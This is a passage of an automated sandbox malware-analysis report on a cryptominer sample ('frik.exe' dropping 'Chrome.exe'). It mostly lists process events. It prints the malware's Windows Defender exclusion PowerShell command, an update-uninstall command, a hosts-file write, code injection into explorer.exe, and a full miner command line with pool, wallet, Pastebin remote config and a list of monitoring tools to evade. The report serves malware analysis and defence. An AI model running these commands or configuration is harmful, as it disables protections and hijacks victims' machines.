      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion

      barindex
      Query firmware table information (likely to detect VMs)
      Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformationJump to behavior
      Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
      Source: explorer.exe, 0000002B.00000003.1520990620.0000000000D76000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002B.00000002.3825856662.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002B.00000002.3826390796.00000000017E0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE
      Source: explorer.exe, 0000002B.00000003.1520990620.0000000000D76000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002B.00000002.3825856662.0000000000D5B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEOCESSOR~
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --ALGO=RX/0 --URL=POOL.HASHVAULT.PRO:443 --USER="41ZQUJMUMR9M6RTBAEHIX15DPWPXLAOVHFITJ2C522MSE29YF7UUGKZZV2DE3KHPPWLQEMSIG1ZZ844CECCDK4MMN3KSPGP" --PASS="FRUKTOO" --CPU-MAX-THREADS-HINT=30 --CINIT-WINRING="LHAQMLEXWHJS.SYS" --CINIT-REMOTE-CONFIG="HTTPS://PASTEBIN.COM/RAW/FBXIGYZ9" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-VERSION="3.4.0" --TLS --CINIT-IDLE-WAIT=6 --CINIT-IDLE-CPU=70 --CINIT-ID="ZVEPHRVENFZRPFQS"[[
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --ALGO=RX/0 --URL=POOL.HASHVAULT.PRO:443 --USER="41ZQUJMUMR9M6RTBAEHIX15DPWPXLAOVHFITJ2C522MSE29YF7UUGKZZV2DE3KHPPWLQEMSIG1ZZ844CECCDK4MMN3KSPGP" --PASS="FRUKTOO" --CPU-MAX-THREADS-HINT=30 --CINIT-WINRING="LHAQMLEXWHJS.SYS" --CINIT-REMOTE-CONFIG="HTTPS://PASTEBIN.COM/RAW/FBXIGYZ9" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-VERSION="3.4.0" --TLS --CINIT-IDLE-WAIT=6 --CINIT-IDLE-CPU=70 --CINIT-ID="ZVEPHRVENFZRPFQS"
      Source: explorer.exe, 0000002B.00000002.3826390796.00000000017E0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXEEN-USD*
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXED
      Source: explorer.exe, 0000002B.00000003.1453948864.0000000000CE0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HTTPS://PASTEBIN.COM/RAW/FBXIGYZ9TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEZVEPHRVENFZRPFQS
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: EXPLORER.EXE--ALGO=RX/0--URL=POOL.HASHVAULT.PRO:443--USER=41ZQUJMUMR9M6RTBAEHIX15DPWPXLAOVHFITJ2C522MSE29YF7UUGKZZV2DE3KHPPWLQEMSIG1ZZ844CECCDK4MMN3KSPGP--PASS=FRUKTOO--CPU-MAX-THREADS-HINT=30--CINIT-WINRING=LHAQMLEXWHJS.SYS--CINIT-REMOTE-CONFIG=HTTPS://PASTEBIN.COM/RAW/FBXIGYZ9--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-VERSION=3.4.0--TLS--CINIT-IDLE-WAIT=6--CINIT-IDLE-CPU=70--CINIT-ID=ZVEPHRVENFZRPFQS
      Source: explorer.exe, 0000002B.00000003.1520990620.0000000000D76000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002B.00000002.3825856662.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002B.00000003.1453948864.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002B.00000002.3825856662.0000000000CC5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4472Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5332Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6750
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2925
      Source: C:\ProgramData\Chrome.exeDropped PE file which has not been started: C:\Windows\Temp\lhaqmlexwhjs.sysJump to dropped file
      Source: C:\Windows\System32\conhost.exeAPI coverage: 0.9 %
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8044Thread sleep count: 4472 > 30Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8044Thread sleep count: 5332 > 30Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8120Thread sleep time: -4611686018427385s >= -30000sJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2116Thread sleep count: 6750 > 30
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 656Thread sleep time: -6456360425798339s >= -30000s
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1492Thread sleep count: 2925 > 30
      Source: C:\Windows\explorer.exe TID: 7220Thread sleep count: 85 > 30Jump to behavior
      Source: C:\Windows\explorer.exe TID: 7220Thread sleep count: 43 > 30Jump to behavior
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000C89000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWPc
      Source: explorer.exe, 0000002B.00000002.3825856662.0000000000CE0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
      Source: C:\Windows\System32\conhost.exeCode function: 42_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,42_2_0000000140001160

      HIPS / PFW / Operating System Protection Evasion

      barindex
      System process connects to network (likely due to code injection or exploit)
      Source: C:\Windows\explorer.exeNetwork Connect: 95.179.241.203 443Jump to behavior
      Source: C:\Windows\explorer.exeNetwork Connect: 104.20.3.235 443Jump to behavior
      Adds a directory exclusion to Windows Defender
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
      Injects code into the Windows Explorer (explorer.exe)
      Source: C:\ProgramData\Chrome.exeMemory written: PID: 7432 base: 140000000 value: 4DJump to behavior
      Source: C:\ProgramData\Chrome.exeMemory written: PID: 7432 base: 140001000 value: NUJump to behavior
      Source: C:\ProgramData\Chrome.exeMemory written: PID: 7432 base: 140674000 value: DFJump to behavior
      Source: C:\ProgramData\Chrome.exeMemory written: PID: 7432 base: 140847000 value: 00Jump to behavior
      Source: C:\ProgramData\Chrome.exeMemory written: PID: 7432 base: A34010 value: 00Jump to behavior
      Modifies the context of a thread in another process (thread injection)
      Source: C:\ProgramData\Chrome.exeThread register set: target process: 7428Jump to behavior
      Source: C:\ProgramData\Chrome.exeThread register set: target process: 7432Jump to behavior
      Modifies the hosts file
      Source: C:\Users\user\Desktop\frik.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
